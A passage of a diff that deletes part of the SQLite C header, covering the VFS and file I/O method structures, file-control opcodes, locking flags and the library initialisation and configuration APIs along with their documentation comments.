Flags -** -** When SQLite invokes the xSync() method of an -** [sqlite3_io_methods] object it uses a combination of -** these integer values as the second argument. -** -** When the SQLITE_SYNC_DATAONLY flag is used, it means that the -** sync operation only needs to flush data to mass storage. Inode -** information need not be flushed. If the lower four bits of the flag -** equal SQLITE_SYNC_NORMAL, that means to use normal fsync() semantics. -** If the lower four bits equal SQLITE_SYNC_FULL, that means -** to use Mac OS X style fullsync instead of fsync(). -** -** Do not confuse the SQLITE_SYNC_NORMAL and SQLITE_SYNC_FULL flags -** with the [PRAGMA synchronous]=NORMAL and [PRAGMA synchronous]=FULL -** settings. The [synchronous pragma] determines when calls to the -** xSync VFS method occur and applies uniformly across all platforms. -** The SQLITE_SYNC_NORMAL and SQLITE_SYNC_FULL flags determine how -** energetic or rigorous or forceful the sync operations are and -** only make a difference on Mac OSX for the default SQLite code. -** (Third-party VFS implementations might also make the distinction -** between SQLITE_SYNC_NORMAL and SQLITE_SYNC_FULL, but among the -** operating systems natively supported by SQLite, only Mac OSX -** cares about the difference.) -*/ -#define SQLITE_SYNC_NORMAL 0x00002 -#define SQLITE_SYNC_FULL 0x00003 -#define SQLITE_SYNC_DATAONLY 0x00010 - -/* -** CAPI3REF: OS Interface Open File Handle -** -** An [sqlite3_file] object represents an open file in the -** [sqlite3_vfs | OS interface layer]. Individual OS interface -** implementations will -** want to subclass this object by appending additional fields -** for their own use. The pMethods entry is a pointer to an -** [sqlite3_io_methods] object that defines methods for performing -** I/O operations on the open file. -*/ -typedef struct sqlite3_file sqlite3_file; -struct sqlite3_file { - const struct sqlite3_io_methods *pMethods; /* Methods for an open file */ -}; - -/* -** CAPI3REF: OS Interface File Virtual Methods Object -** -** Every file opened by the [sqlite3_vfs.xOpen] method populates an -** [sqlite3_file] object (or, more commonly, a subclass of the -** [sqlite3_file] object) with a pointer to an instance of this object. -** This object defines the methods used to perform various operations -** against the open file represented by the [sqlite3_file] object. -** -** If the [sqlite3_vfs.xOpen] method sets the sqlite3_file.pMethods element -** to a non-NULL pointer, then the sqlite3_io_methods.xClose method -** may be invoked even if the [sqlite3_vfs.xOpen] reported that it failed. The -** only way to prevent a call to xClose following a failed [sqlite3_vfs.xOpen] -** is for the [sqlite3_vfs.xOpen] to set the sqlite3_file.pMethods element -** to NULL. -** -** The flags argument to xSync may be one of [SQLITE_SYNC_NORMAL] or -** [SQLITE_SYNC_FULL]. The first choice is the normal fsync(). -** The second choice is a Mac OS X style fullsync. The [SQLITE_SYNC_DATAONLY] -** flag may be ORed in to indicate that only the data of the file -** and not its inode needs to be synced. -** -** The integer values to xLock() and xUnlock() are one of -**
    -**
  • [SQLITE_LOCK_NONE], -**
  • [SQLITE_LOCK_SHARED], -**
  • [SQLITE_LOCK_RESERVED], -**
  • [SQLITE_LOCK_PENDING], or -**
  • [SQLITE_LOCK_EXCLUSIVE]. -**
-** xLock() increases the lock. xUnlock() decreases the lock. -** The xCheckReservedLock() method checks whether any database connection, -** either in this process or in some other process, is holding a RESERVED, -** PENDING, or EXCLUSIVE lock on the file. It returns true -** if such a lock exists and false otherwise. -** -** The xFileControl() method is a generic interface that allows custom -** VFS implementations to directly control an open file using the -** [sqlite3_file_control()] interface. The second "op" argument is an -** integer opcode. The third argument is a generic pointer intended to -** point to a structure that may contain arguments or space in which to -** write return values. Potential uses for xFileControl() might be -** functions to enable blocking locks with timeouts, to change the -** locking strategy (for example to use dot-file locks), to inquire -** about the status of a lock, or to break stale locks. The SQLite -** core reserves all opcodes less than 100 for its own use. -** A [SQLITE_FCNTL_LOCKSTATE | list of opcodes] less than 100 is available. -** Applications that define a custom xFileControl method should use opcodes -** greater than 100 to avoid conflicts. VFS implementations should -** return [SQLITE_NOTFOUND] for file control opcodes that they do not -** recognize. -** -** The xSectorSize() method returns the sector size of the -** device that underlies the file. The sector size is the -** minimum write that can be performed without disturbing -** other bytes in the file. The xDeviceCharacteristics() -** method returns a bit vector describing behaviors of the -** underlying device: -** -**
    -**
  • [SQLITE_IOCAP_ATOMIC] -**
  • [SQLITE_IOCAP_ATOMIC512] -**
  • [SQLITE_IOCAP_ATOMIC1K] -**
  • [SQLITE_IOCAP_ATOMIC2K] -**
  • [SQLITE_IOCAP_ATOMIC4K] -**
  • [SQLITE_IOCAP_ATOMIC8K] -**
  • [SQLITE_IOCAP_ATOMIC16K] -**
  • [SQLITE_IOCAP_ATOMIC32K] -**
  • [SQLITE_IOCAP_ATOMIC64K] -**
  • [SQLITE_IOCAP_SAFE_APPEND] -**
  • [SQLITE_IOCAP_SEQUENTIAL] -**
-** -** The SQLITE_IOCAP_ATOMIC property means that all writes of -** any size are atomic. The SQLITE_IOCAP_ATOMICnnn values -** mean that writes of blocks that are nnn bytes in size and -** are aligned to an address which is an integer multiple of -** nnn are atomic. The SQLITE_IOCAP_SAFE_APPEND value means -** that when data is appended to a file, the data is appended -** first then the size of the file is extended, never the other -** way around. The SQLITE_IOCAP_SEQUENTIAL property means that -** information is written to disk in the same order as calls -** to xWrite(). -** -** If xRead() returns SQLITE_IOERR_SHORT_READ it must also fill -** in the unread portions of the buffer with zeros. A VFS that -** fails to zero-fill short reads might seem to work. However, -** failure to zero-fill short reads will eventually lead to -** database corruption. -*/ -typedef struct sqlite3_io_methods sqlite3_io_methods; -struct sqlite3_io_methods { - int iVersion; - int (*xClose)(sqlite3_file*); - int (*xRead)(sqlite3_file*, void*, int iAmt, sqlite3_int64 iOfst); - int (*xWrite)(sqlite3_file*, const void*, int iAmt, sqlite3_int64 iOfst); - int (*xTruncate)(sqlite3_file*, sqlite3_int64 size); - int (*xSync)(sqlite3_file*, int flags); - int (*xFileSize)(sqlite3_file*, sqlite3_int64 *pSize); - int (*xLock)(sqlite3_file*, int); - int (*xUnlock)(sqlite3_file*, int); - int (*xCheckReservedLock)(sqlite3_file*, int *pResOut); - int (*xFileControl)(sqlite3_file*, int op, void *pArg); - int (*xSectorSize)(sqlite3_file*); - int (*xDeviceCharacteristics)(sqlite3_file*); - /* Methods above are valid for version 1 */ - int (*xShmMap)(sqlite3_file*, int iPg, int pgsz, int, void volatile**); - int (*xShmLock)(sqlite3_file*, int offset, int n, int flags); - void (*xShmBarrier)(sqlite3_file*); - int (*xShmUnmap)(sqlite3_file*, int deleteFlag); - /* Methods above are valid for version 2 */ - int (*xFetch)(sqlite3_file*, sqlite3_int64 iOfst, int iAmt, void **pp); - int (*xUnfetch)(sqlite3_file*, sqlite3_int64 iOfst, void *p); - /* Methods above are valid for version 3 */ - /* Additional methods may be added in future releases */ -}; - -/* -** CAPI3REF: Standard File Control Opcodes -** -** These integer constants are opcodes for the xFileControl method -** of the [sqlite3_io_methods] object and for the [sqlite3_file_control()] -** interface. -** -** The [SQLITE_FCNTL_LOCKSTATE] opcode is used for debugging. This -** opcode causes the xFileControl method to write the current state of -** the lock (one of [SQLITE_LOCK_NONE], [SQLITE_LOCK_SHARED], -** [SQLITE_LOCK_RESERVED], [SQLITE_LOCK_PENDING], or [SQLITE_LOCK_EXCLUSIVE]) -** into an integer that the pArg argument points to. This capability -** is used during testing and only needs to be supported when SQLITE_TEST -** is defined. -**
    -**
  • [[SQLITE_FCNTL_SIZE_HINT]] -** The [SQLITE_FCNTL_SIZE_HINT] opcode is used by SQLite to give the VFS -** layer a hint of how large the database file will grow to be during the -** current transaction. This hint is not guaranteed to be accurate but it -** is often close. The underlying VFS might choose to preallocate database -** file space based on this hint in order to help writes to the database -** file run faster. -** -**
  • [[SQLITE_FCNTL_CHUNK_SIZE]] -** The [SQLITE_FCNTL_CHUNK_SIZE] opcode is used to request that the VFS -** extends and truncates the database file in chunks of a size specified -** by the user. The fourth argument to [sqlite3_file_control()] should -** point to an integer (type int) containing the new chunk-size to use -** for the nominated database. Allocating database file space in large -** chunks (say 1MB at a time), may reduce file-system fragmentation and -** improve performance on some systems. -** -**
  • [[SQLITE_FCNTL_FILE_POINTER]] -** The [SQLITE_FCNTL_FILE_POINTER] opcode is used to obtain a pointer -** to the [sqlite3_file] object associated with a particular database -** connection. See the [sqlite3_file_control()] documentation for -** additional information. -** -**
  • [[SQLITE_FCNTL_SYNC_OMITTED]] -** ^(The [SQLITE_FCNTL_SYNC_OMITTED] opcode is generated internally by -** SQLite and sent to all VFSes in place of a call to the xSync method -** when the database connection has [PRAGMA synchronous] set to OFF.)^ -** Some specialized VFSes need this signal in order to operate correctly -** when [PRAGMA synchronous | PRAGMA synchronous=OFF] is set, but most -** VFSes do not need this signal and should silently ignore this opcode. -** Applications should not call [sqlite3_file_control()] with this -** opcode as doing so may disrupt the operation of the specialized VFSes -** that do require it. -** -**
  • [[SQLITE_FCNTL_WIN32_AV_RETRY]] -** ^The [SQLITE_FCNTL_WIN32_AV_RETRY] opcode is used to configure automatic -** retry counts and intervals for certain disk I/O operations for the -** windows [VFS] in order to provide robustness in the presence of -** anti-virus programs. By default, the windows VFS will retry file read, -** file write, and file delete operations up to 10 times, with a delay -** of 25 milliseconds before the first retry and with the delay increasing -** by an additional 25 milliseconds with each subsequent retry. This -** opcode allows these two values (10 retries and 25 milliseconds of delay) -** to be adjusted. The values are changed for all database connections -** within the same process. The argument is a pointer to an array of two -** integers where the first integer i the new retry count and the second -** integer is the delay. If either integer is negative, then the setting -** is not changed but instead the prior value of that setting is written -** into the array entry, allowing the current retry settings to be -** interrogated. The zDbName parameter is ignored. -** -**
  • [[SQLITE_FCNTL_PERSIST_WAL]] -** ^The [SQLITE_FCNTL_PERSIST_WAL] opcode is used to set or query the -** persistent [WAL | Write Ahead Log] setting. By default, the auxiliary -** write ahead log and shared memory files used for transaction control -** are automatically deleted when the latest connection to the database -** closes. Setting persistent WAL mode causes those files to persist after -** close. Persisting the files is useful when other processes that do not -** have write permission on the directory containing the database file want -** to read the database file, as the WAL and shared memory files must exist -** in order for the database to be readable. The fourth parameter to -** [sqlite3_file_control()] for this opcode should be a pointer to an integer. -** That integer is 0 to disable persistent WAL mode or 1 to enable persistent -** WAL mode. If the integer is -1, then it is overwritten with the current -** WAL persistence setting. -** -**
  • [[SQLITE_FCNTL_POWERSAFE_OVERWRITE]] -** ^The [SQLITE_FCNTL_POWERSAFE_OVERWRITE] opcode is used to set or query the -** persistent "powersafe-overwrite" or "PSOW" setting. The PSOW setting -** determines the [SQLITE_IOCAP_POWERSAFE_OVERWRITE] bit of the -** xDeviceCharacteristics methods. The fourth parameter to -** [sqlite3_file_control()] for this opcode should be a pointer to an integer. -** That integer is 0 to disable zero-damage mode or 1 to enable zero-damage -** mode. If the integer is -1, then it is overwritten with the current -** zero-damage mode setting. -** -**
  • [[SQLITE_FCNTL_OVERWRITE]] -** ^The [SQLITE_FCNTL_OVERWRITE] opcode is invoked by SQLite after opening -** a write transaction to indicate that, unless it is rolled back for some -** reason, the entire database file will be overwritten by the current -** transaction. This is used by VACUUM operations. -** -**
  • [[SQLITE_FCNTL_VFSNAME]] -** ^The [SQLITE_FCNTL_VFSNAME] opcode can be used to obtain the names of -** all [VFSes] in the VFS stack. The names are of all VFS shims and the -** final bottom-level VFS are written into memory obtained from -** [sqlite3_malloc()] and the result is stored in the char* variable -** that the fourth parameter of [sqlite3_file_control()] points to. -** The caller is responsible for freeing the memory when done. As with -** all file-control actions, there is no guarantee that this will actually -** do anything. Callers should initialize the char* variable to a NULL -** pointer in case this file-control is not implemented. This file-control -** is intended for diagnostic use only. -** -**
  • [[SQLITE_FCNTL_PRAGMA]] -** ^Whenever a [PRAGMA] statement is parsed, an [SQLITE_FCNTL_PRAGMA] -** file control is sent to the open [sqlite3_file] object corresponding -** to the database file to which the pragma statement refers. ^The argument -** to the [SQLITE_FCNTL_PRAGMA] file control is an array of -** pointers to strings (char**) in which the second element of the array -** is the name of the pragma and the third element is the argument to the -** pragma or NULL if the pragma has no argument. ^The handler for an -** [SQLITE_FCNTL_PRAGMA] file control can optionally make the first element -** of the char** argument point to a string obtained from [sqlite3_mprintf()] -** or the equivalent and that string will become the result of the pragma or -** the error message if the pragma fails. ^If the -** [SQLITE_FCNTL_PRAGMA] file control returns [SQLITE_NOTFOUND], then normal -** [PRAGMA] processing continues. ^If the [SQLITE_FCNTL_PRAGMA] -** file control returns [SQLITE_OK], then the parser assumes that the -** VFS has handled the PRAGMA itself and the parser generates a no-op -** prepared statement. ^If the [SQLITE_FCNTL_PRAGMA] file control returns -** any result code other than [SQLITE_OK] or [SQLITE_NOTFOUND], that means -** that the VFS encountered an error while handling the [PRAGMA] and the -** compilation of the PRAGMA fails with an error. ^The [SQLITE_FCNTL_PRAGMA] -** file control occurs at the beginning of pragma statement analysis and so -** it is able to override built-in [PRAGMA] statements. -** -**
  • [[SQLITE_FCNTL_BUSYHANDLER]] -** ^The [SQLITE_FCNTL_BUSYHANDLER] -** file-control may be invoked by SQLite on the database file handle -** shortly after it is opened in order to provide a custom VFS with access -** to the connections busy-handler callback. The argument is of type (void **) -** - an array of two (void *) values. The first (void *) actually points -** to a function of type (int (*)(void *)). In order to invoke the connections -** busy-handler, this function should be invoked with the second (void *) in -** the array as the only argument. If it returns non-zero, then the operation -** should be retried. If it returns zero, the custom VFS should abandon the -** current operation. -** -**
  • [[SQLITE_FCNTL_TEMPFILENAME]] -** ^Application can invoke the [SQLITE_FCNTL_TEMPFILENAME] file-control -** to have SQLite generate a -** temporary filename using the same algorithm that is followed to generate -** temporary filenames for TEMP tables and other internal uses. The -** argument should be a char** which will be filled with the filename -** written into memory obtained from [sqlite3_malloc()]. The caller should -** invoke [sqlite3_free()] on the result to avoid a memory leak. -** -**
  • [[SQLITE_FCNTL_MMAP_SIZE]] -** The [SQLITE_FCNTL_MMAP_SIZE] file control is used to query or set the -** maximum number of bytes that will be used for memory-mapped I/O. -** The argument is a pointer to a value of type sqlite3_int64 that -** is an advisory maximum number of bytes in the file to memory map. The -** pointer is overwritten with the old value. The limit is not changed if -** the value originally pointed to is negative, and so the current limit -** can be queried by passing in a pointer to a negative number. This -** file-control is used internally to implement [PRAGMA mmap_size]. -** -**
-*/ -#define SQLITE_FCNTL_LOCKSTATE 1 -#define SQLITE_GET_LOCKPROXYFILE 2 -#define SQLITE_SET_LOCKPROXYFILE 3 -#define SQLITE_LAST_ERRNO 4 -#define SQLITE_FCNTL_SIZE_HINT 5 -#define SQLITE_FCNTL_CHUNK_SIZE 6 -#define SQLITE_FCNTL_FILE_POINTER 7 -#define SQLITE_FCNTL_SYNC_OMITTED 8 -#define SQLITE_FCNTL_WIN32_AV_RETRY 9 -#define SQLITE_FCNTL_PERSIST_WAL 10 -#define SQLITE_FCNTL_OVERWRITE 11 -#define SQLITE_FCNTL_VFSNAME 12 -#define SQLITE_FCNTL_POWERSAFE_OVERWRITE 13 -#define SQLITE_FCNTL_PRAGMA 14 -#define SQLITE_FCNTL_BUSYHANDLER 15 -#define SQLITE_FCNTL_TEMPFILENAME 16 -#define SQLITE_FCNTL_MMAP_SIZE 18 - -/* -** CAPI3REF: Mutex Handle -** -** The mutex module within SQLite defines [sqlite3_mutex] to be an -** abstract type for a mutex object. The SQLite core never looks -** at the internal representation of an [sqlite3_mutex]. It only -** deals with pointers to the [sqlite3_mutex] object. -** -** Mutexes are created using [sqlite3_mutex_alloc()]. -*/ -typedef struct sqlite3_mutex sqlite3_mutex; - -/* -** CAPI3REF: OS Interface Object -** -** An instance of the sqlite3_vfs object defines the interface between -** the SQLite core and the underlying operating system. The "vfs" -** in the name of the object stands for "virtual file system". See -** the [VFS | VFS documentation] for further information. -** -** The value of the iVersion field is initially 1 but may be larger in -** future versions of SQLite. Additional fields may be appended to this -** object when the iVersion value is increased. Note that the structure -** of the sqlite3_vfs object changes in the transaction between -** SQLite version 3.5.9 and 3.6.0 and yet the iVersion field was not -** modified. -** -** The szOsFile field is the size of the subclassed [sqlite3_file] -** structure used by this VFS. mxPathname is the maximum length of -** a pathname in this VFS. -** -** Registered sqlite3_vfs objects are kept on a linked list formed by -** the pNext pointer. The [sqlite3_vfs_register()] -** and [sqlite3_vfs_unregister()] interfaces manage this list -** in a thread-safe way. The [sqlite3_vfs_find()] interface -** searches the list. Neither the application code nor the VFS -** implementation should use the pNext pointer. -** -** The pNext field is the only field in the sqlite3_vfs -** structure that SQLite will ever modify. SQLite will only access -** or modify this field while holding a particular static mutex. -** The application should never modify anything within the sqlite3_vfs -** object once the object has been registered. -** -** The zName field holds the name of the VFS module. The name must -** be unique across all VFS modules. -** -** [[sqlite3_vfs.xOpen]] -** ^SQLite guarantees that the zFilename parameter to xOpen -** is either a NULL pointer or string obtained -** from xFullPathname() with an optional suffix added. -** ^If a suffix is added to the zFilename parameter, it will -** consist of a single "-" character followed by no more than -** 11 alphanumeric and/or "-" characters. -** ^SQLite further guarantees that -** the string will be valid and unchanged until xClose() is -** called. Because of the previous sentence, -** the [sqlite3_file] can safely store a pointer to the -** filename if it needs to remember the filename for some reason. -** If the zFilename parameter to xOpen is a NULL pointer then xOpen -** must invent its own temporary name for the file. ^Whenever the -** xFilename parameter is NULL it will also be the case that the -** flags parameter will include [SQLITE_OPEN_DELETEONCLOSE]. -** -** The flags argument to xOpen() includes all bits set in -** the flags argument to [sqlite3_open_v2()]. Or if [sqlite3_open()] -** or [sqlite3_open16()] is used, then flags includes at least -** [SQLITE_OPEN_READWRITE] | [SQLITE_OPEN_CREATE]. -** If xOpen() opens a file read-only then it sets *pOutFlags to -** include [SQLITE_OPEN_READONLY]. Other bits in *pOutFlags may be set. -** -** ^(SQLite will also add one of the following flags to the xOpen() -** call, depending on the object being opened: -** -**
    -**
  • [SQLITE_OPEN_MAIN_DB] -**
  • [SQLITE_OPEN_MAIN_JOURNAL] -**
  • [SQLITE_OPEN_TEMP_DB] -**
  • [SQLITE_OPEN_TEMP_JOURNAL] -**
  • [SQLITE_OPEN_TRANSIENT_DB] -**
  • [SQLITE_OPEN_SUBJOURNAL] -**
  • [SQLITE_OPEN_MASTER_JOURNAL] -**
  • [SQLITE_OPEN_WAL] -**
)^ -** -** The file I/O implementation can use the object type flags to -** change the way it deals with files. For example, an application -** that does not care about crash recovery or rollback might make -** the open of a journal file a no-op. Writes to this journal would -** also be no-ops, and any attempt to read the journal would return -** SQLITE_IOERR. Or the implementation might recognize that a database -** file will be doing page-aligned sector reads and writes in a random -** order and set up its I/O subsystem accordingly. -** -** SQLite might also add one of the following flags to the xOpen method: -** -**
    -**
  • [SQLITE_OPEN_DELETEONCLOSE] -**
  • [SQLITE_OPEN_EXCLUSIVE] -**
-** -** The [SQLITE_OPEN_DELETEONCLOSE] flag means the file should be -** deleted when it is closed. ^The [SQLITE_OPEN_DELETEONCLOSE] -** will be set for TEMP databases and their journals, transient -** databases, and subjournals. -** -** ^The [SQLITE_OPEN_EXCLUSIVE] flag is always used in conjunction -** with the [SQLITE_OPEN_CREATE] flag, which are both directly -** analogous to the O_EXCL and O_CREAT flags of the POSIX open() -** API. The SQLITE_OPEN_EXCLUSIVE flag, when paired with the -** SQLITE_OPEN_CREATE, is used to indicate that file should always -** be created, and that it is an error if it already exists. -** It is not used to indicate the file should be opened -** for exclusive access. -** -** ^At least szOsFile bytes of memory are allocated by SQLite -** to hold the [sqlite3_file] structure passed as the third -** argument to xOpen. The xOpen method does not have to -** allocate the structure; it should just fill it in. Note that -** the xOpen method must set the sqlite3_file.pMethods to either -** a valid [sqlite3_io_methods] object or to NULL. xOpen must do -** this even if the open fails. SQLite expects that the sqlite3_file.pMethods -** element will be valid after xOpen returns regardless of the success -** or failure of the xOpen call. -** -** [[sqlite3_vfs.xAccess]] -** ^The flags argument to xAccess() may be [SQLITE_ACCESS_EXISTS] -** to test for the existence of a file, or [SQLITE_ACCESS_READWRITE] to -** test whether a file is readable and writable, or [SQLITE_ACCESS_READ] -** to test whether a file is at least readable. The file can be a -** directory. -** -** ^SQLite will always allocate at least mxPathname+1 bytes for the -** output buffer xFullPathname. The exact size of the output buffer -** is also passed as a parameter to both methods. If the output buffer -** is not large enough, [SQLITE_CANTOPEN] should be returned. Since this is -** handled as a fatal error by SQLite, vfs implementations should endeavor -** to prevent this by setting mxPathname to a sufficiently large value. -** -** The xRandomness(), xSleep(), xCurrentTime(), and xCurrentTimeInt64() -** interfaces are not strictly a part of the filesystem, but they are -** included in the VFS structure for completeness. -** The xRandomness() function attempts to return nBytes bytes -** of good-quality randomness into zOut. The return value is -** the actual number of bytes of randomness obtained. -** The xSleep() method causes the calling thread to sleep for at -** least the number of microseconds given. ^The xCurrentTime() -** method returns a Julian Day Number for the current date and time as -** a floating point value. -** ^The xCurrentTimeInt64() method returns, as an integer, the Julian -** Day Number multiplied by 86400000 (the number of milliseconds in -** a 24-hour day). -** ^SQLite will use the xCurrentTimeInt64() method to get the current -** date and time if that method is available (if iVersion is 2 or -** greater and the function pointer is not NULL) and will fall back -** to xCurrentTime() if xCurrentTimeInt64() is unavailable. -** -** ^The xSetSystemCall(), xGetSystemCall(), and xNestSystemCall() interfaces -** are not used by the SQLite core. These optional interfaces are provided -** by some VFSes to facilitate testing of the VFS code. By overriding -** system calls with functions under its control, a test program can -** simulate faults and error conditions that would otherwise be difficult -** or impossible to induce. The set of system calls that can be overridden -** varies from one VFS to another, and from one version of the same VFS to the -** next. Applications that use these interfaces must be prepared for any -** or all of these interfaces to be NULL or for their behavior to change -** from one release to the next. Applications must not attempt to access -** any of these methods if the iVersion of the VFS is less than 3. -*/ -typedef struct sqlite3_vfs sqlite3_vfs; -typedef void (*sqlite3_syscall_ptr)(void); -struct sqlite3_vfs { - int iVersion; /* Structure version number (currently 3) */ - int szOsFile; /* Size of subclassed sqlite3_file */ - int mxPathname; /* Maximum file pathname length */ - sqlite3_vfs *pNext; /* Next registered VFS */ - const char *zName; /* Name of this virtual file system */ - void *pAppData; /* Pointer to application-specific data */ - int (*xOpen)(sqlite3_vfs*, const char *zName, sqlite3_file*, - int flags, int *pOutFlags); - int (*xDelete)(sqlite3_vfs*, const char *zName, int syncDir); - int (*xAccess)(sqlite3_vfs*, const char *zName, int flags, int *pResOut); - int (*xFullPathname)(sqlite3_vfs*, const char *zName, int nOut, char *zOut); - void *(*xDlOpen)(sqlite3_vfs*, const char *zFilename); - void (*xDlError)(sqlite3_vfs*, int nByte, char *zErrMsg); - void (*(*xDlSym)(sqlite3_vfs*,void*, const char *zSymbol))(void); - void (*xDlClose)(sqlite3_vfs*, void*); - int (*xRandomness)(sqlite3_vfs*, int nByte, char *zOut); - int (*xSleep)(sqlite3_vfs*, int microseconds); - int (*xCurrentTime)(sqlite3_vfs*, double*); - int (*xGetLastError)(sqlite3_vfs*, int, char *); - /* - ** The methods above are in version 1 of the sqlite_vfs object - ** definition. Those that follow are added in version 2 or later - */ - int (*xCurrentTimeInt64)(sqlite3_vfs*, sqlite3_int64*); - /* - ** The methods above are in versions 1 and 2 of the sqlite_vfs object. - ** Those below are for version 3 and greater. - */ - int (*xSetSystemCall)(sqlite3_vfs*, const char *zName, sqlite3_syscall_ptr); - sqlite3_syscall_ptr (*xGetSystemCall)(sqlite3_vfs*, const char *zName); - const char *(*xNextSystemCall)(sqlite3_vfs*, const char *zName); - /* - ** The methods above are in versions 1 through 3 of the sqlite_vfs object. - ** New fields may be appended in figure versions. The iVersion - ** value will increment whenever this happens. - */ -}; - -/* -** CAPI3REF: Flags for the xAccess VFS method -** -** These integer constants can be used as the third parameter to -** the xAccess method of an [sqlite3_vfs] object. They determine -** what kind of permissions the xAccess method is looking for. -** With SQLITE_ACCESS_EXISTS, the xAccess method -** simply checks whether the file exists. -** With SQLITE_ACCESS_READWRITE, the xAccess method -** checks whether the named directory is both readable and writable -** (in other words, if files can be added, removed, and renamed within -** the directory). -** The SQLITE_ACCESS_READWRITE constant is currently used only by the -** [temp_store_directory pragma], though this could change in a future -** release of SQLite. -** With SQLITE_ACCESS_READ, the xAccess method -** checks whether the file is readable. The SQLITE_ACCESS_READ constant is -** currently unused, though it might be used in a future release of -** SQLite. -*/ -#define SQLITE_ACCESS_EXISTS 0 -#define SQLITE_ACCESS_READWRITE 1 /* Used by PRAGMA temp_store_directory */ -#define SQLITE_ACCESS_READ 2 /* Unused */ - -/* -** CAPI3REF: Flags for the xShmLock VFS method -** -** These integer constants define the various locking operations -** allowed by the xShmLock method of [sqlite3_io_methods]. The -** following are the only legal combinations of flags to the -** xShmLock method: -** -**
    -**
  • SQLITE_SHM_LOCK | SQLITE_SHM_SHARED -**
  • SQLITE_SHM_LOCK | SQLITE_SHM_EXCLUSIVE -**
  • SQLITE_SHM_UNLOCK | SQLITE_SHM_SHARED -**
  • SQLITE_SHM_UNLOCK | SQLITE_SHM_EXCLUSIVE -**
-** -** When unlocking, the same SHARED or EXCLUSIVE flag must be supplied as -** was given no the corresponding lock. -** -** The xShmLock method can transition between unlocked and SHARED or -** between unlocked and EXCLUSIVE. It cannot transition between SHARED -** and EXCLUSIVE. -*/ -#define SQLITE_SHM_UNLOCK 1 -#define SQLITE_SHM_LOCK 2 -#define SQLITE_SHM_SHARED 4 -#define SQLITE_SHM_EXCLUSIVE 8 - -/* -** CAPI3REF: Maximum xShmLock index -** -** The xShmLock method on [sqlite3_io_methods] may use values -** between 0 and this upper bound as its "offset" argument. -** The SQLite core will never attempt to acquire or release a -** lock outside of this range -*/ -#define SQLITE_SHM_NLOCK 8 - - -/* -** CAPI3REF: Initialize The SQLite Library -** -** ^The sqlite3_initialize() routine initializes the -** SQLite library. ^The sqlite3_shutdown() routine -** deallocates any resources that were allocated by sqlite3_initialize(). -** These routines are designed to aid in process initialization and -** shutdown on embedded systems. Workstation applications using -** SQLite normally do not need to invoke either of these routines. -** -** A call to sqlite3_initialize() is an "effective" call if it is -** the first time sqlite3_initialize() is invoked during the lifetime of -** the process, or if it is the first time sqlite3_initialize() is invoked -** following a call to sqlite3_shutdown(). ^(Only an effective call -** of sqlite3_initialize() does any initialization. All other calls -** are harmless no-ops.)^ -** -** A call to sqlite3_shutdown() is an "effective" call if it is the first -** call to sqlite3_shutdown() since the last sqlite3_initialize(). ^(Only -** an effective call to sqlite3_shutdown() does any deinitialization. -** All other valid calls to sqlite3_shutdown() are harmless no-ops.)^ -** -** The sqlite3_initialize() interface is threadsafe, but sqlite3_shutdown() -** is not. The sqlite3_shutdown() interface must only be called from a -** single thread. All open [database connections] must be closed and all -** other SQLite resources must be deallocated prior to invoking -** sqlite3_shutdown(). -** -** Among other things, ^sqlite3_initialize() will invoke -** sqlite3_os_init(). Similarly, ^sqlite3_shutdown() -** will invoke sqlite3_os_end(). -** -** ^The sqlite3_initialize() routine returns [SQLITE_OK] on success. -** ^If for some reason, sqlite3_initialize() is unable to initialize -** the library (perhaps it is unable to allocate a needed resource such -** as a mutex) it returns an [error code] other than [SQLITE_OK]. -** -** ^The sqlite3_initialize() routine is called internally by many other -** SQLite interfaces so that an application usually does not need to -** invoke sqlite3_initialize() directly. For example, [sqlite3_open()] -** calls sqlite3_initialize() so the SQLite library will be automatically -** initialized when [sqlite3_open()] is called if it has not be initialized -** already. ^However, if SQLite is compiled with the [SQLITE_OMIT_AUTOINIT] -** compile-time option, then the automatic calls to sqlite3_initialize() -** are omitted and the application must call sqlite3_initialize() directly -** prior to using any other SQLite interface. For maximum portability, -** it is recommended that applications always invoke sqlite3_initialize() -** directly prior to using any other SQLite interface. Future releases -** of SQLite may require this. In other words, the behavior exhibited -** when SQLite is compiled with [SQLITE_OMIT_AUTOINIT] might become the -** default behavior in some future release of SQLite. -** -** The sqlite3_os_init() routine does operating-system specific -** initialization of the SQLite library. The sqlite3_os_end() -** routine undoes the effect of sqlite3_os_init(). Typical tasks -** performed by these routines include allocation or deallocation -** of static resources, initialization of global variables, -** setting up a default [sqlite3_vfs] module, or setting up -** a default configuration using [sqlite3_config()]. -** -** The application should never invoke either sqlite3_os_init() -** or sqlite3_os_end() directly. The application should only invoke -** sqlite3_initialize() and sqlite3_shutdown(). The sqlite3_os_init() -** interface is called automatically by sqlite3_initialize() and -** sqlite3_os_end() is called by sqlite3_shutdown(). Appropriate -** implementations for sqlite3_os_init() and sqlite3_os_end() -** are built into SQLite when it is compiled for Unix, Windows, or OS/2. -** When [custom builds | built for other platforms] -** (using the [SQLITE_OS_OTHER=1] compile-time -** option) the application must supply a suitable implementation for -** sqlite3_os_init() and sqlite3_os_end(). An application-supplied -** implementation of sqlite3_os_init() or sqlite3_os_end() -** must return [SQLITE_OK] on success and some other [error code] upon -** failure. -*/ -SQLITE_API int sqlite3_initialize(void); -SQLITE_API int sqlite3_shutdown(void); -SQLITE_API int sqlite3_os_init(void); -SQLITE_API int sqlite3_os_end(void); - -/* -** CAPI3REF: Configuring The SQLite Library -** -** The sqlite3_config() interface is used to make global configuration -** changes to SQLite in order to tune SQLite to the specific needs of -** the application. The default configuration is recommended for most -** applications and so this routine is usually not necessary. It is -** provided to support rare applications with unusual needs. -** -** The sqlite3_config() interface is not threadsafe. The application -** must insure that no other SQLite interfaces are invoked by other -** threads while sqlite3_config() is running. Furthermore, sqlite3_config() -** may only be invoked prior to library initialization using -** [sqlite3_initialize()] or after shutdown by [sqlite3_shutdown()]. -** ^If sqlite3_config() is called after [sqlite3_initialize()] and before -** [sqlite3_shutdown()] then it will return SQLITE_MISUSE. -** Note, however, that ^sqlite3_config() can be called as part of the -** implementation of an application-defined [sqlite3_os_init()]. -** -** The first argument to sqlite3_config() is an integer -** [configuration option] that determines -** what property of SQLite is to be configured. Subsequent arguments -** vary depending on the [configuration option] -** in the first argument. -** -** ^When a configuration option is set, sqlite3_config() returns [SQLITE_OK]. -** ^If the option is unknown or SQLite is unable to set the option -** then this routine returns a non-zero [error code]. -*/ -SQLITE_API int sqlite3_config(int, ...); - -/* -** CAPI3REF: Configure database connections -** -** The sqlite3_db_config() interface is used to make configuration -** changes to a [database connection]. The interface is similar to -** [sqlite3_config()] except that the changes apply to a single -** [database connection] (specified in 